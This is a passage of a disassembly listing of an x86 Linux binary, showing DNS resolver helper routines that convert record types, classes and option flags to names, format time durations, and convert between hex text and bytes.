loc_0_806047C:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aWks ; case	0xb
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060488:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aPtr ; case	0xc
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060494:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aHinfo ; case 0xd
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80604A0:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aMinfo ; case 0xe
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80604AC:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aMx	; case 0xf
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80604B8:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aTxt ; case	0x10
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80604C4:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aRp	; case 0x11
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80604D0:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aAfsdb ; case 0x12
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80604DC:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aX25 ; case	0x13
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80604E8:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aIsdn ; case 0x14
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80604F4:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aRt	; case 0x15
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060500:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aNsap ; case 0x16
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806050C:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aNsap_ptr ;	case 0x17
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060518:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aSig ; case	0x18
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060524:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aKey ; case	0x19
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060530:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aPx	; case 0x1a
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806053C:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aGpos ; case 0x1b
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060548:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aAaaa ; case 0x1c
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060554:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aLoc ; case	0x1d
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060560:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aAxfr ; case 0xfc
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806056C:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aMailb ; case 0xfd
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060578:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aMaila ; case 0xfe
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060584:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aAny ; case	0xff
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060590:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aUinfo ; case 0x64
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806059C:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aUid ; case	0x65
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80605A8:				; CODE XREF: sub_0_8060004+14j
					; DATA XREF: sub_0_8060004+1Co
		mov	eax, offset aGid ; case	0x66
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80605B4:				; CODE XREF: sub_0_8060004+Ej
					; sub_0_8060004+14j
					; DATA XREF: ...
		call	sprintf(unk_0_807e3d8,'%d',edx)
		mov	eax, offset unk_0_807E3D8
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8060004	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80605D0	proc near		; CODE XREF: sub_0_805F1DC+385p
					; sub_0_805F7E4+BFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 4
		jz	short loc_0_80605FC
		jg	short loc_0_80605E4
		cmp	eax, 1
		jz	short loc_0_80605F0
		jmp	short loc_0_8060614
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80605E4:				; CODE XREF: sub_0_80605D0+Bj
		cmp	eax, 0FFh
		jz	short loc_0_8060608
		jmp	short loc_0_8060614
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80605F0:				; CODE XREF: sub_0_80605D0+10j
		mov	eax, offset aIn	; "IN"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80605FC:				; CODE XREF: sub_0_80605D0+9j
		mov	eax, offset aHs	; "HS"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060608:				; CODE XREF: sub_0_80605D0+19j
		mov	eax, offset aAny ; "ANY"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060614:				; CODE XREF: sub_0_80605D0+12j
					; sub_0_80605D0+1Bj
		call	sprintf(unk_0_807e3ec,'%d',eax)
		mov	eax, offset unk_0_807E3EC
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80605D0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8060630	proc near		; CODE XREF: .text:0805F19Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 20h
		jz	loc_0_806070C
		ja	short loc_0_8060678
		cmp	eax, 4
		jz	loc_0_80606E8
		ja	short loc_0_8060660
		cmp	eax, 1
		jz	short loc_0_80606D0
		cmp	eax, 2
		jz	loc_0_80606DC
		jmp	loc_0_8060760
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060660:				; CODE XREF: sub_0_8060630+1Aj
		cmp	eax, 8
		jz	loc_0_80606F4
		cmp	eax, 10h
		jz	loc_0_8060700
		jmp	loc_0_8060760
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060678:				; CODE XREF: sub_0_8060630+Fj
		cmp	eax, 100h
		jz	loc_0_8060730
		ja	short loc_0_80606A0
		cmp	eax, 40h
		jz	loc_0_8060718
		cmp	eax, 80h
		jz	loc_0_8060724
		jmp	loc_0_8060760
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80606A0:				; CODE XREF: sub_0_8060630+53j
		cmp	eax, 400h
		jz	loc_0_8060748
		ja	short loc_0_80606C0
		cmp	eax, 200h
		jz	loc_0_806073C
		jmp	loc_0_8060760
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80606C0:				; CODE XREF: sub_0_8060630+7Bj
		cmp	eax, 800h
		jz	loc_0_8060754
		jmp	loc_0_8060760
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80606D0:				; CODE XREF: sub_0_8060630+1Fj
		mov	eax, offset aInit ; "init"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80606DC:				; CODE XREF: sub_0_8060630+24j
		mov	eax, offset aDebug_1 ; "debug"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80606E8:				; CODE XREF: sub_0_8060630+14j
		mov	eax, offset aAaonlyUnimpl ; "aaonly(unimpl)"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80606F4:				; CODE XREF: sub_0_8060630+33j
		mov	eax, offset aUsevc ; "usevc"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060700:				; CODE XREF: sub_0_8060630+3Cj
		mov	eax, offset aPrimryUnimpl ; "primry(unimpl)"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806070C:				; CODE XREF: sub_0_8060630+9j
		mov	eax, offset aIgntc ; "igntc"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060718:				; CODE XREF: sub_0_8060630+58j
		mov	eax, offset aRecurs ; "recurs"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060724:				; CODE XREF: sub_0_8060630+63j
		mov	eax, offset aDefnam ; "defnam"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060730:				; CODE XREF: sub_0_8060630+4Dj
		mov	eax, offset aStyopn ; "styopn"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806073C:				; CODE XREF: sub_0_8060630+82j
		mov	eax, offset aDnsrch ; "dnsrch"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060748:				; CODE XREF: sub_0_8060630+75j
		mov	eax, offset aInsecure1 ; "insecure1"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060754:				; CODE XREF: sub_0_8060630+95j
		mov	eax, offset aInsecure2 ; "insecure2"
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060760:				; CODE XREF: sub_0_8060630+2Aj
					; sub_0_8060630+42j ...
		call	sprintf(unk_0_807e400,'?0x%lx?',eax)
		mov	eax, offset unk_0_807E400
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8060630	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806077C	proc near		; CODE XREF: sub_0_805F7E4+43Fp
					; sub_0_805F7E4+460p ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_0_80607B4
		mov	eax, ds:dword_0_806992F
		mov	ds:dword_0_807E428, eax
		mov	ax, ds:word_0_8069933
		mov	ds:word_0_807E42C, ax
		mov	al, ds:byte_0_8069935
		mov	ds:byte_0_807E42E, al
		jmp	loc_0_80608B8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80607B4:				; CODE XREF: sub_0_806077C+Ej
		mov	ecx, 3Ch
		xor	edx, edx
		div	ecx
		mov	[ebp+var_4], edx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_8], edx
		mov	ecx, 18h
		xor	edx, edx
		div	ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, offset dword_0_807E428
		test	esi, esi
		jz	short loc_0_8060802
		mov	eax, offset unk_0_8069937
		cmp	esi, 1
		jnz	short loc_0_80607EC
		mov	eax, offset unk_0_8069936

loc_0_80607EC:				; CODE XREF: sub_0_806077C+69j
		call	sprintf(&ebx,'%d day%s',esi,eax)
		add	esp, 10h

loc_0_80607FC:				; CODE XREF: sub_0_806077C+84j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_80607FC

loc_0_8060802:				; CODE XREF: sub_0_806077C+5Fj
		test	edi, edi
		jz	short loc_0_8060836
		test	esi, esi
		jz	short loc_0_806080E
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_0_806080E:				; CODE XREF: sub_0_806077C+8Cj
		mov	eax, offset unk_0_8069937
		cmp	edi, 1
		jnz	short loc_0_806081D
		mov	eax, offset unk_0_8069936

loc_0_806081D:				; CODE XREF: sub_0_806077C+9Aj
		call	sprintf(&ebx,'%d hour%s',edi,eax)
		add	esp, 10h
		lea	esi, [esi+0]

loc_0_8060830:				; CODE XREF: sub_0_806077C+B8j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_8060830

loc_0_8060836:				; CODE XREF: sub_0_806077C+88j
		cmp	[ebp+var_8], 0
		jz	short loc_0_8060872
		test	esi, esi
		jnz	short loc_0_8060844
		test	edi, edi
		jz	short loc_0_8060848

loc_0_8060844:				; CODE XREF: sub_0_806077C+C2j
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_0_8060848:				; CODE XREF: sub_0_806077C+C6j
		mov	eax, offset unk_0_8069937
		cmp	[ebp+var_8], 1
		jnz	short loc_0_8060858
		mov	eax, offset unk_0_8069936

loc_0_8060858:				; CODE XREF: sub_0_806077C+D5j
		call	sprintf(&ebx,'%d min%s',var_8,eax)
		add	esp, 10h
		nop	

loc_0_806086C:				; CODE XREF: sub_0_806077C+F4j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_0_806086C

loc_0_8060872:				; CODE XREF: sub_0_806077C+BEj
		cmp	[ebp+var_4], 0
		jnz	short loc_0_8060886
		test	esi, esi
		jnz	short loc_0_80608B8
		test	edi, edi
		jnz	short loc_0_80608B8
		cmp	[ebp+var_8], 0
		jnz	short loc_0_80608B8

loc_0_8060886:				; CODE XREF: sub_0_806077C+FAj
		test	esi, esi
		jnz	short loc_0_8060894
		test	edi, edi
		jnz	short loc_0_8060894
		cmp	[ebp+var_8], 0
		jz	short loc_0_8060898

loc_0_8060894:				; CODE XREF: sub_0_806077C+10Cj
					; sub_0_806077C+110j
		mov	byte ptr [ebx],	20h
		inc	ebx

loc_0_8060898:				; CODE XREF: sub_0_806077C+116j
		mov	eax, offset unk_0_8069937
		cmp	[ebp+var_4], 1
		jnz	short loc_0_80608A8
		mov	eax, offset unk_0_8069936

loc_0_80608A8:				; CODE XREF: sub_0_806077C+125j
		call	sprintf(ebx,'%d sec%s',var_4,eax)

loc_0_80608B8:				; CODE XREF: sub_0_806077C+32j
					; sub_0_806077C+FEj ...
		mov	eax, offset dword_0_807E428
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806077C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8060AE8	proc near		; CODE XREF: .text:08060B7Dp
					; .text:08060BA9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-30h]
		cmp	eax, 9
		ja	short loc_0_8060B04
		mov	al, dl
		add	al, 0D0h
		and	eax, 0FFh
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060B04:				; CODE XREF: sub_0_8060AE8+Cj
		mov	al, dl
		add	al, 0C9h
		and	eax, 0FFh
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8060AE8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	edi, [ebp+0Ch]
		xor	esi, esi
		jmp	loc_0_8060BBF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060B2C:				; CODE XREF: .text:08060BC4j
		cmp	[ebp+10h], esi
		jbe	loc_0_8060BCA
		cmp	dl, 2Eh
		jz	loc_0_8060BBF
		cmp	dl, 2Bh
		jz	short loc_0_8060BBF
		cmp	dl, 2Fh
		jz	short loc_0_8060BBF
		test	dl, dl
		jge	short loc_0_8060B50

loc_0_8060B4C:				; CODE XREF: .text:08060B7Aj
					; .text:08060B8Dj ...
		xor	eax, eax
		jmp	short loc_0_8060BCC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8060B50:				; CODE XREF: .text:08060B4Aj
		movzx	ecx, dl
		mov	[ebp-8], ecx
		mov	eax, tableBit
		test	byte ptr [eax+ecx*2+1],	2
		jz	short loc_0_8060B6A
		mov	eax, lowcasetable
		mov	dl, [eax+ecx*4]

loc_0_8060B6A:				; CODE XREF: .text:08060B60j
		and	edx, 0FFh
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	10h
		jz	short loc_0_8060B4C
		push	edx
		call	sub_0_8060AE8
		mov	[ebp-4], al
		mov	dl, [ebx]
		add	esp, 4
		inc	ebx
		test	dl, dl
		jz	short loc_0_8060B4C
		movzx	eax, dl
		mov	edx, lowcasetable
		movzx	edx, byte ptr [edx+eax*4]
		mov	eax, tableBit
		test	byte ptr [eax+edx*2+1],	10h
		jz	short loc_0_8060B4C
		push	edx
		call	sub_0_8060AE8
		mov	dl, al
		mov	al, [ebp-4]
		shl	al, 4
		or	al, dl
		mov	[edi], al
		inc	edi
		inc	esi
		add	esp, 4

loc_0_8060BBF:				; CODE XREF: .text:08060B25j
					; .text:08060B38j ...
		mov	dl, [ebx]
		inc	ebx
		test	dl, dl
		jnz	loc_0_8060B2C

loc_0_8060BCA:				; CODE XREF: .text:08060B2Fj
		mov	eax, esi

loc_0_8060BCC:				; CODE XREF: .text:08060B4Ej
		lea	esp, [ebp-14h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8060BD8	proc near		; CODE XREF: sub_0_805F7E4+5EBp

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		test	edx, edx
		jz	short loc_0_8060BF0
		mov	[ebp+var_4], edx
		jmp	short loc_0_8060BFC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8060BF0:				; CODE XREF: sub_0_8060BD8+11j
		mov	edx, offset unk_0_807E450
		mov	[ebp+var_4], offset unk_0_807E450

loc_0_8060BFC:				; CODE XREF: sub_0_8060BD8+16j
		cmp	[ebp+arg_0], 0FFh
		jle	short loc_0_8060C0C
		mov	[ebp+arg_0], 0FFh

loc_0_8060C0C:				; CODE XREF: sub_0_8060BD8+2Bj
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jle	loc_0_8060D13
		mov	edi, [ebp+arg_0]
		test	edi, 1
		jz	short loc_0_8060C70
		mov	al, [esi]
		shr	al, 4
		and	eax, 0FFh
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_0_8060C38
		add	al, 30h
		jmp	short loc_0_8060C3A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8060C38:				; CODE XREF: sub_0_8060BD8+5Aj
		add	al, 37h

loc_0_8060C3A:				; CODE XREF: sub_0_8060BD8+5Ej
		mov	[ecx], al
		mov	al, [esi]
		and	eax, 0Fh
		inc	esi
		mov	ecx, edx
		inc	edx
		cmp	eax, 9
		jg	short loc_0_8060C50
		add	al, 30h
		jmp	short loc_0_8060C52
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8060C50:				; CODE XREF: sub_0_8060BD8+70j
		add	al, 37h

loc_0_8060C52:				; CODE XREF: sub_0_8060BD8+74j
		mov	[ecx], al
		test	bl, 1
		jnz	short loc_0_8060C65
		lea	eax, [ebx+1]
		cmp	[ebp+arg_0], eax
		jle	short loc_0_8060C65
		mov	byte ptr [edx],	2Eh
		inc	edx

loc_0_8060C65:				; CODE XREF: sub_0_8060BD8+7Fj
